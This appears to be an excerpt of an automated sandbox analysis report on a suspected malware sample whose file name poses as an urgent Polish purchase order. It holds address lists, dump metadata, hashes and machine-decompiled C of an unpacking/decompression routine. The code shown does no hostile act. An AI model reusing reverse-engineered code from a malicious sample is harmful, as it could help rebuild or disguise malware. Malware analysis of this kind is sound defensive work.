                                                                                              0x004065c0
                                                                                              0x004065c3
                                                                                              0x004065c6
                                                                                              0x004065c9
                                                                                              0x004065cd
                                                                                              0x004065cf
                                                                                              0x004065a7
                                                                                              0x004065a7
                                                                                              0x004065af
                                                                                              0x004065b4
                                                                                              0x004065b6
                                                                                              0x004065b8
                                                                                              0x004065b8
                                                                                              0x004065d2
                                                                                              0x004065d9
                                                                                              0x004065dc
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x0040686b
                                                                                              0x0040686b
                                                                                              0x0040686f
                                                                                              0x00406b96
                                                                                              0x00406b96
                                                                                              0x00000000
                                                                                              0x00406b96
                                                                                              0x00406875
                                                                                              0x00406875
                                                                                              0x00406878
                                                                                              0x0040687b
                                                                                              0x0040687f
                                                                                              0x00406882
                                                                                              0x00406888
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040663b
                                                                                              0x0040663b
                                                                                              0x0040663e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040697a
                                                                                              0x0040697a
                                                                                              0x0040697e
                                                                                              0x004069a0
                                                                                              0x004069a0
                                                                                              0x004069a3
                                                                                              0x004069ad
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x00406980
                                                                                              0x00406980
                                                                                              0x00406983
                                                                                              0x00406987
                                                                                              0x0040698a
                                                                                              0x0040698a
                                                                                              0x0040698d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a37
                                                                                              0x00406a37
                                                                                              0x00406a3b
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a60
                                                                                              0x00406a67
                                                                                              0x00406a6e
                                                                                              0x00406a6e
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00000000
                                                                                              0x00406a82
                                                                                              0x00406a3d
                                                                                              0x00406a3d
                                                                                              0x00406a40
                                                                                              0x00406a43
                                                                                              0x00406a46
                                                                                              0x00406a4d
                                                                                              0x00406991
                                                                                              0x00406991
                                                                                              0x00406994
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b28
                                                                                              0x00406b28
                                                                                              0x00406b2b
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00406a32
                                                                                              0x00000000
                                                                                              0x00406762
                                                                                              0x00406762
                                                                                              0x00406764
                                                                                              0x0040676b
                                                                                              0x0040676c
                                                                                              0x0040676e
                                                                                              0x00406771
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00000000
                                                                                              0x00406a82
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067a7
                                                                                              0x004067a7
                                                                                              0x004067aa
                                                                                              0x004067e0
                                                                                              0x004067e0
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406913
                                                                                              0x00406913
                                                                                              0x00406916
                                                                                              0x00406918
                                                                                              0x00406ba2
                                                                                              0x00406ba2
                                                                                              0x00000000
                                                                                              0x00406ba2
                                                                                              0x0040691e
                                                                                              0x0040691e
                                                                                              0x00406921
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406927
                                                                                              0x00406927
                                                                                              0x0040692b
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x00000000
                                                                                              0x0040692e
                                                                                              0x004067ac
                                                                                              0x004067ac
                                                                                              0x004067ae
                                                                                              0x004067b0
                                                                                              0x004067b2
                                                                                              0x004067b5
                                                                                              0x004067b6
                                                                                              0x004067b8
                                                                                              0x004067ba
                                                                                              0x004067bd
                                                                                              0x004067c0
                                                                                              0x004067d6
                                                                                              0x004067d6
                                                                                              0x004067db
                                                                                              0x00406813
                                                                                              0x00406813
                                                                                              0x00406817
                                                                                              0x00406840
                                                                                              0x00406843
                                                                                              0x00406845
                                                                                              0x0040684c
                                                                                              0x0040684f
                                                                                              0x00406852
                                                                                              0x00406852
                                                                                              0x00406857
                                                                                              0x00406857
                                                                                              0x00406859
                                                                                              0x0040685c
                                                                                              0x00406863
                                                                                              0x00406866
                                                                                              0x00406893
                                                                                              0x00406893
                                                                                              0x00406896
                                                                                              0x00406899
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x00000000
                                                                                              0x0040690d
                                                                                              0x0040689b
                                                                                              0x0040689b
                                                                                              0x004068a1
                                                                                              0x004068a4
                                                                                              0x004068a7
                                                                                              0x004068aa
                                                                                              0x004068ad
                                                                                              0x004068b0
                                                                                              0x004068b3
                                                                                              0x004068b6
                                                                                              0x004068b9
                                                                                              0x004068bc
                                                                                              0x004068d5
                                                                                              0x004068d7
                                                                                              0x004068da
                                                                                              0x004068db
                                                                                              0x004068de
                                                                                              0x004068e0
                                                                                              0x004068e3
                                                                                              0x004068e5
                                                                                              0x004068e7
                                                                                              0x004068ea
                                                                                              0x004068ec
                                                                                              0x004068ef
                                                                                              0x004068f3
                                                                                              0x004068f5
                                                                                              0x004068f5
                                                                                              0x004068f6
                                                                                              0x004068f9
                                                                                              0x004068fc
                                                                                              0x004068be
                                                                                              0x004068be
                                                                                              0x004068c6
                                                                                              0x004068cb
                                                                                              0x004068cd
                                                                                              0x004068d0
                                                                                              0x004068d0
                                                                                              0x004068ff
                                                                                              0x00406906
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406908
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406906
                                                                                              0x00406819
                                                                                              0x00406819
                                                                                              0x0040681c
                                                                                              0x0040681e
                                                                                              0x00406821
                                                                                              0x00406824
                                                                                              0x00406827
                                                                                              0x00406829
                                                                                              0x0040682c
                                                                                              0x0040682f
                                                                                              0x0040682f
                                                                                              0x00406832
                                                                                              0x00406832
                                                                                              0x00406835
                                                                                              0x0040683c
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683e
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683c
                                                                                              0x004067c2
                                                                                              0x004067c2
                                                                                              0x004067c5
                                                                                              0x004067c7
                                                                                              0x004067ca
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406529
                                                                                              0x00406529
                                                                                              0x0040652d
                                                                                              0x00406b72
                                                                                              0x00406b72
                                                                                              0x00000000
                                                                                              0x00406b72
                                                                                              0x00406533
                                                                                              0x00406533
                                                                                              0x00406536
                                                                                              0x00406539
                                                                                              0x0040653c
                                                                                              0x0040653f
                                                                                              0x00406542
                                                                                              0x00406545
                                                                                              0x00406547
                                                                                              0x0040654a
                                                                                              0x0040654d
                                                                                              0x00406550
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066b4
                                                                                              0x004066b4
                                                                                              0x004066b8
                                                                                              0x00406b7e
                                                                                              0x00406b7e
                                                                                              0x00000000
                                                                                              0x00406b7e
                                                                                              0x004066be
                                                                                              0x004066be
                                                                                              0x004066c1
                                                                                              0x004066c4
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x00406975
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x00000000
                                                                                              0x004066f2
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00406ba8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00000000
                                                                                              0x00406bdf
                                                                                              0x00406a2c
                                                                                              0x00406aac
                                                                                              0x00406a75

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b4bbaf917c5b2b4b29eca7dd879fe0279583c9caa0a8680a3fb668f2eecfa979
                                                                                              • Instruction ID: ac331763182a67db8ffe8b732b67c8974d54266b30473341b06133cd37c0d4bc
                                                                                              • Opcode Fuzzy Hash: b4bbaf917c5b2b4b29eca7dd879fe0279583c9caa0a8680a3fb668f2eecfa979
                                                                                              • Instruction Fuzzy Hash: ECA13171E00229CBDF28DFA8C8547ADBBB1FB44305F11816ED816BB281C7786A96CF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040697A Relevance: 5.2, APIs: 4, Instructions: 208COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 98%
                                                                                              			E0040697A() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406BE7))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
